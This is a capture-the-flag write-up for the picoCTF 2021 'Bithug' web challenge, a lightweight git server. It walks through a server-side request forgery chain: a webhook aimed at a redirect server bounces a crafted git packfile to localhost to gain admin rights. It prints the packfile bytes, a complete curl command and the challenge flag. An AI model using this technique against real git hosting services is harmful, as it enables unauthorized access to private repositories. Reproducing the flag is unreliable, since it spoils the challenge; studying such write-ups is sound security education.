# Bithug

## Problem

> Code management software is way too bloated. Try our new lightweight solution, BitHug. Source: distribution.tgz

* [distribution.tgz](https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/Bithug/distribution.tgz)

## Solution

1. This web application is using [Express.js](https://expressjs.com/) for the backend and [React](https://reactjs.org/) for the frontend. The package manager is [Yarn](https://yarnpkg.com/) and [Webpack](https://webpack.js.org/) is used to bundle assets. [NPM](https://www.npmjs.com/) scripts are used to run the various build and serve processes. The entire project can easily be run in a [docker](https://www.docker.com/) container thanks to the included `Dockerfile`. Essentially, this challenge makes use of the standard set of tools used to build a full-stack application. It is likely a hard challenge due to the number of programs that one must understand to complete it. The goal of the challenge is to get access to the repository at `/_/<username>.git` because the flag is in the readme file of that repo.
2. The actual website itself is a simple [Git](https://git-scm.com/) server with functionality similar to that of [GitHub](https://github.com/) (the challenge name is "GitHub" with the first and last letters switched). Users can create an account, create a git repository, and then push changes. Additionally, webhooks are supported so a user can post data to an external server on every commit. There is also a feature to give other users access to your repository by editing the `access.conf` file on the `refs/meta/config` commit of the repo.
3. Looking at the backend code we see following files:
   1. `auth-api.ts`: Handles authentication from a `user-token` cookie or `authorization` header. Alternatively, if the incoming connection is happening over `localhost`, the user `kind` attribute is automatically set to `admin`.
   2. `auth.ts`: Basic logic for connecting the application to a database to store users.
   3. `git-api.ts`: The API to interact with git repositories over HTTP. Many of these function signatures are standard as part of Git.
   4. `git.ts`: A bridge between the web application and the `git` command.
   5. `index.ts`: The main entry point.
   6. `static-api.ts`: Code to enable serving of the main html and js files for React.
   7. `utils.ts`: Basic utilities. Only contains a `formatString` function.
   8. `web-api.ts`: Contains the `login`, `logout`, create repository, `register`, and obtain user information endpoints.
   9. `webhooks.ts`: Similar to `auth.ts`, but for webhooks. Connects the application to a database to store webhooks.
4. Here are some interesting things to take note of:
   1. The only ways to obtain access to a repository that a user does not own are to be `user.kind === "admin"` or to have the username be in the access config file. Source: `git-api.ts` Line 20.
   2. There is only one time when `user.kind` is set to `admin` and it is when `req.socket.remoteAddress` is `localhost`. Source: `auth-api.ts` Line 26.
   3. The code that creates a webhook checks to make sure that the endpoint of the webhook is not `localhost` and that the port is `80`. Source: `git-api.ts` Line 64.
   4. The only places that data can be posted are the `login`, `register`, `repo/create`, and `logout` endpoints in `web-api.ts` and the `/:user/:repo.git/webhooks`, `/:user/:repo.git/git-upload-pack`, and `/:user/:repo.git/git-receive-pack` endpoints in `git-api.ts`. The aforementioned endpoints in `web-api.ts` are basic and likely not exploitable.
5. Initially, I tried figuring our how to spoof the nodejs `req.socket.remoteAddress` function (`auth-api.ts` Line 26). However, this web application is behind a reverse proxy that is configured correctly so spoofing this value is not possible. Thus, in order to execute a request as admin, the request needs to literally come from `localhost`. We want to execute a request as an admin because an admin can access any repo, including the one with the flag at `/_/<username>.git`. Also, when we make a commit to a repository on BitHug, the following requests are shown in the console:

   ```
   { kind: 'none' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' }
   { kind: 'none' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' }
   { kind: 'user', user: 'zwade' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' }
   { kind: 'user', user: 'zwade' } POST /zwade/quine.git/git-receive-pack {}
   ```

   Every commit posts data we control to the `/:user/:repo.git/git-receive-pack` endpoint, which is useful.
6. For this tutorial, we will be using the `zwade` user because some of his repositories are proxied to `http://localhost:1823` in the `client/src/webpack.config.js` `devServer`. I'm not sure if it is necessary to use this user.
7. Trying to use any endpoint that starts with `/:user/:repo.git` requires `user.kind === "admin" || user.user === repoOwner` or for the username to be in the access configuration file. Posting to `/:user/:repo.git/git-receive-pack` calls `req.git.receivePackPost` and allows the user to push changes to their git repository. Therefore, we need to create a webhook on a repo that a regular user owns that posts data to `localhost`. In this case we will use the `zwade/quine.git` repo. The webhook will post a git pack to the `/_/zwade.git/git-receive-pack` endpoint to add a new commit to the `/_/zwade.git` repo. This commit will add the `zwade` user to the `access.conf` file of the `/_/zwade.git` repo. When we push a new commit to `zwade/quine.git`, the webhook will be called and the new commit will be pushed to the `/_/zwade.git` repo, which will add `zwade` to the `access.conf` and thus give us access. The commit will be pushed successfully because the request will come from `localhost` and thus the user will be an admin.
8. We first need to obtain a Git packfile containing a commit that adds a file called `access.conf` to `refs/meta/config` containing our username, `zwade`. The can be completed by creating a new empty repository on BitHug and then cloning it using the provided commands. While capturing packets on the `docker0` network interface using `wireshark`, run the following commands in the cloned repository:

   ```
   echo "zwade" > access.conf
   git add access.conf
   git commit -m "Add"
   git push origin @:refs/meta/config
   ```
9. In `wireshark` (my capture file: [bithug-git.pcapng](https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/Bithug/bithug-git.pcapng)) we can follow the HTTP stream and see the git packfile being sent with the content generated by the `send-pack` process. To learn more about how the internals of `git push` work (including `send-pack` and `git-receive-pack`) then you should read the [Chapter 10.6: Git Internals - Transfer Protocols](https://git-scm.com/book/en/v2/Git-Internals-Transfer-Protocols) of the Git Book. In `wireshark`, we can change the data view to "C Arrays" and copy-paste the hex bytes into CyberChef to convert them to base64, since the `/:user/:repo.git/webhooks` endpoint decodes the `body` as base64. We could try to manually create the header data generated by `send-pack`, but that is difficult and `wireshark` makes it easy to get the exactly correct payload.

   C Array extracted from `wireshark`:

   ```
   0x30, 0x30, 0x39, 0x34, 0x30, 0x30, 0x30, 0x30, 
   0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
   0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
   0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
   0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
   0x30, 0x30, 0x30, 0x30, 0x20, 0x65, 0x37, 0x38, 
   0x36, 0x64, 0x65, 0x62, 0x61, 0x39, 0x36, 0x37, 
   0x30, 0x34, 0x33, 0x34, 0x35, 0x34, 0x31, 0x63, 
   0x30, 0x65, 0x36, 0x66, 0x36, 0x61, 0x34, 0x30, 
   0x65, 0x39, 0x62, 0x64, 0x32, 0x36, 0x66, 0x31, 
   0x38, 0x61, 0x39, 0x38, 0x61, 0x20, 0x72, 0x65, 
   0x66, 0x73, 0x2f, 0x6d, 0x65, 0x74, 0x61, 0x2f, 
   0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x00, 0x20, 
   0x72, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x2d, 0x73, 
   0x74, 0x61, 0x74, 0x75, 0x73, 0x20, 0x73, 0x69, 
   0x64, 0x65, 0x2d, 0x62, 0x61, 0x6e, 0x64, 0x2d, 
   0x36, 0x34, 0x6b, 0x20, 0x61, 0x67, 0x65, 0x6e, 
   0x74, 0x3d, 0x67, 0x69, 0x74, 0x2f, 0x32, 0x2e, 
   0x32, 0x35, 0x2e, 0x31, 0x30, 0x30, 0x30, 0x30, 
   0x50, 0x41, 0x43, 0x4b, 0x00, 0x00, 0x00, 0x02, 
   0x00, 0x00, 0x00, 0x03, 0x96, 0x0b, 0x78, 0x9c, 
   0xa5, 0x8c, 0x31, 0x0e, 0x83, 0x30, 0x0c, 0x00, 
   0xf7, 0xbc, 0xc2, 0x1f, 0x28, 0xb2, 0xd3, 0xd4, 
   0x01, 0xa9, 0xaa, 0xda, 0x8d, 0x6f, 0x10, 0xdb, 
   0x51, 0x3a, 0xd0, 0x48, 0x10, 0x86, 0xfe, 0xbe, 
   0x08, 0x9e, 0xd0, 0xe9, 0x74, 0x37, 0x5c, 0x5b, 
   0xcc, 0xc0, 0x38, 0x06, 0xcb, 0x59, 0x08, 0x51, 
   0x93, 0x8a, 0xd2, 0x8d, 0xaf, 0x12, 0x7d, 0x60, 
   0xc1, 0x21, 0x59, 0x26, 0x4b, 0xbe, 0xef, 0xc5, 
   0x07, 0x37, 0x6d, 0xad, 0xd4, 0x05, 0xc6, 0xe9, 
   0xab, 0xf6, 0x81, 0xb1, 0x6e, 0xeb, 0x8e, 0x7b, 
   0x39, 0xf4, 0x79, 0xa2, 0x1c, 0xb1, 0x93, 0x3a, 
   0x3f, 0x80, 0x98, 0x98, 0x7d, 0x8c, 0x43, 0x84, 
   0x0b, 0x06, 0x44, 0xb7, 0xd7, 0xf9, 0xdd, 0x9a, 
   0xfd, 0xb1, 0x70, 0x2f, 0x55, 0xf7, 0x03, 0xdf, 
   0xbc, 0x39, 0x26, 0xa7, 0x02, 0x78, 0x9c, 0x33, 
   0x34, 0x30, 0x30, 0x33, 0x31, 0x51, 0x48, 0x4c, 
   0x4e, 0x4e, 0x2d, 0x2e, 0xd6, 0x4b, 0xce, 0xcf, 
   0x4b, 0x63, 0xe0, 0xfb, 0xcd, 0x1c, 0xd8, 0x5a, 
   0x29, 0x2c, 0x9c, 0xe2, 0x79, 0x6a, 0x5b, 0x6c, 
   0x40, 0xdf, 0xa1, 0x4b, 0xb7, 0x8c, 0x0b, 0x01, 
   0xf6, 0x64, 0x0e, 0x91, 0x36, 0x78, 0x9c, 0xab, 
   0x2a, 0x4f, 0x4c, 0x49, 0xe5, 0x02, 0x00, 0x08, 
   0xb9, 0x02, 0x26, 0xee, 0x24, 0xf7, 0x11, 0x5a, 
   0x4a, 0xcf, 0x5b, 0x26, 0xd6, 0xbc, 0x49, 0xd8, 
   0xb7, 0x3b, 0x47, 0x23, 0x02, 0xa8, 0x50
   ```

   Using CyberChef we get the following base64 string: `MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZTc4NmRlYmE5NjcwNDM0NTQxYzBlNmY2YTQwZTliZDI2ZjE4YTk4YSByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3RhdHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAOWC3icpYwxDoMwDAD3vMIfKLLT1AGpqtqNbxDbUTrQSBCG/r4IntDpdDdcW8zAOAbLWQhRk4rSja8SfWDBIVkmS77vxQc3ba3UBcbpq/aBsW7rjns59HmiHLGTOj+AmJh9jEOECwZEt9f53Zr9sXAvVfcD37w5JqcCeJwzNDAwMzFRSExOTi0u1kvOz0tj4PvNHNhaKSyc4nlqW2xA36FLt4wLAfZkDpE2eJyrKk9MSeUCAAi5AibuJPcRWkrPWybWvEnYtztHIwKoUA==`. This is the payload for our webhook.
10. Before we can craft our webhook payload we need to get around the check on lines 71-77 of `git-api.ts`. This code makes sure the webhook does not point to `localhost` and that it connects to port `80`. This is a problem for us because the backend of the application runs on `localhost:1823`. We can bypass this by running a server that redirects all post requests to the `localhost` domain. I wrote a simple python server to do this in [server.py](https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/Bithug/server.py). You can either run this server on your local network (and port forward it on your router) or put it on an actual server using something like [Google's AppEngine](https://console.cloud.google.com/appengine). The server performs a `307` redirect because `307` redirects prohibit HTTP method changes upon redirect: "It is therefore recommended to set the 302 code only as a response for GET or HEAD methods and to use 307 Temporary Redirect instead, as the method change is explicitly prohibited in that case." Quote from [HTTP Code 302 on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/302).
11. Let's create a new repository called `first-repo` for this webhook. Then, we can post the webhook using cURL: `curl http://venus.picoctf.net:52986/zwade/first-repo.git/webhooks -H "Content-Type: application/json" --cookie "user-token=2dcba1e6-2957-475b-adad-54d123d7bc9a" --data '{"url":"<IP_ADDRESS>/_/zwade.git/git-receive-pack","body":"MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZTc4NmRlYmE5NjcwNDM0NTQxYzBlNmY2YTQwZTliZDI2ZjE4YTk4YSByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3RhdHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAOWC3icpYwxDoMwDAD3vMIfKLLT1AGpqtqNbxDbUTrQSBCG/r4IntDpdDdcW8zAOAbLWQhRk4rSja8SfWDBIVkmS77vxQc3ba3UBcbpq/aBsW7rjns59HmiHLGTOj+AmJh9jEOECwZEt9f53Zr9sXAvVfcD37w5JqcCeJwzNDAwMzFRSExOTi0u1kvOz0tj4PvNHNhaKSyc4nlqW2xA36FLt4wLAfZkDpE2eJyrKk9MSeUCAAi5AibuJPcRWkrPWybWvEnYtztHIwKoUA==","contentType":"application/x-git-receive-pack-request"}'`. Make sure to replace `<IP_ADDRESS>` with the IP address where you are running the [server.py](https://github.com/HHousen/PicoCTF-2021/blob/master/Web%20Exploitation/Bithug/server.py) script. The `contentType` for the webhook is `application/x-git-receive-pack-request` since this is the content type shown in the code for the `/:user/:repo.git/git-receive-pack` endpoint in `git-api.ts` on line 159. Make sure to set your `user-token` cookie for the `zwade` user by grabbing it from your browser developer tools.
12. Once this webhook is in place, all we need to do is commit a new change to `zwade/first-repo.git`:

    ```
    echo "new" > new.md
    git add new.md
    git commit -m "New"
    git push origin master
    ```

    Running the above commands in the `zwade/first-repo.git` repo will push the new file and thus execute our webhook. Our webhook connects to our server which redirects the request to `localhost` on the server running BitHug. The payload data (a Git packfile containing a file called `access.conf` with the text `zwade` in it) is posted to `localhost:1823/_/zwade.git/git-receive-pack`, and thus a new commit is added to the target repository that gives the user `zwade` access. We can visit `http://venus.picoctf.net:52986/_/zwade.git` to get the flag from the target repository's readme file.

### Flag

`picoCTF{good_job_at_gitting_good}`
